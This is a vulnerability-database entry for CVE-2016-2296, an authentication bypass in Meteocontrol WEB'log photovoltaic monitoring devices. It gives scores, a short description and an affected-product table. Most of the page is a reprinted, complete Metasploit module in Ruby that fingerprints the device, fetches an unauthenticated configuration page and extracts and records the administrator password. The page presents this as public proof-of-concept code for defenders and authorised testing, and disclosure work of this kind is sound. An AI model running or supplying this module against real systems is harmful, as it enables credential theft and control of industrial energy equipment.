CVE-2016-2296

critical
Published 2016-05-14 ยท Modified 2026-05-06
CVSS v3
9.4
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
CVSS v4 NEW
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not yet in upstream
VIR risk
10.0

Description

Meteocontrol WEB'log Basic 100, Light, Pro, and Pro Unlimited does not require authentication for "post-admin" login pages, which allows remote attackers to obtain sensitive information or modify data via unspecified vectors.

Predictions

Exploit likelihood
95%
Patch ETA
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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-39822 webapps multiple ruby ยท 4 KB
Karn Ganeshen ยท 2016-05-17

Meteocontrol WEBโ€™log - Admin Password Disclosure (Metasploit)

ruby exploit Source: Exploit-DB
# Exploit Title: [Meteocontrol WEB'log - Extract Admin password]
# Discovered by: Karn Ganeshen
# Vendor Homepage: [http://www.meteocontrol.com/en/]
# Versions Reported: [All Meteocontrol WEB'log versions]
# CVE-ID: [CVE-2016-2296]

# Meteocontrol WEB'log - Metasploit Auxiliary Module [modules/auxiliary/admin/scada/meteocontrol_weblog_login.rb]


##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner

  def initialize(info={})
    super(update_info(info,
      'Name'        => 'Meteocontrol WEBLog Password Extractor',
      'Description' => %{
This module exploits an authentication bypass vulnerability in Meteocontrol WEBLog (all models). This vulnerability allows extracting Administrator password for the device management portal.

},
      'References'  =>
        [
             [ 'URL', 'http://ipositivesecurity.blogspot.in/2016/05/ics-meteocontrol-weblog-security.html' ],
             [ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-16-133-01' ]
        ],
      'Author'         =>
        [
          'Karn Ganeshen <KarnGaneshen[at]gmail.com>',
        ],
      'License'        => MSF_LICENSE
    ))

    register_options(
    [
        Opt::RPORT(8080)	# Application may run on a different port too. Change port accordingly.
    ], self.class)
  end

  def run_host(ip)
    unless is_app_metweblog?
      return
    end

    do_extract
  end

  #
  # Check if App is Meteocontrol WEBlog
  #

  def is_app_metweblog?
    begin
      res = send_request_cgi(
      {
        'uri'       => '/html/en/index.html',
        'method'    => 'GET'
      })
    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
      print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
      return false
    end

    if (res and res.code == 200 and (res.headers['Server'].include?("IS2 Web Server") or res.body.include?("WEB'log")))
      print_good("#{rhost}:#{rport} - Running Meteocontrol WEBlog management portal...")
      return true
    else
      print_error("#{rhost}:#{rport} - Application does not appear to be Meteocontrol WEBlog. Module will not continue.")
      return false
    end
  end

  #
  # Extract Administrator Password
  #

  def do_extract()
    print_status("#{rhost}:#{rport} - Attempting to extract Administrator password")
    begin
      res = send_request_cgi(
      {
        'uri'       => '/html/en/confAccessProt.html',
        'method'    => 'GET'
      })

    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
      print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
      return :abort
    end

    if (res and res.code == 200 and res.body.include?("szWebAdminPassword") or res.body=~ /Admin Monitoring/)
        get_admin_password = res.body.match(/name="szWebAdminPassword" value="(.*?)"/)
        admin_password = get_admin_password[1]
        print_good("#{rhost}:#{rport} - Password is #{admin_password}")
        report_cred(
                ip: rhost,
                port: rport,
                service_name: 'Meteocontrol WEBlog Management Portal',
                password: admin_password,
                proof: res.body
      )
    else
        # In some models, 'Website password' page is renamed or not present. Therefore, password can not be extracted. Try login manually in such cases.
        print_error("Password not found. Check login manually.")
    end
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      last_attempted_at: Time.now,
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end
end

Metasploit modules

Meteocontrol WEBlog Password Extractor
Source code queued for fetch โ€” refresh in a moment.

Application impact

VendorProductVersionsFixed
meteocontrolweb\'log_basic_100-
meteocontrolweb\'log_light-
meteocontrolweb\'log_pro-
meteocontrolweb\'log_pro_unlimited-

References

CWEs

CWE-254

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.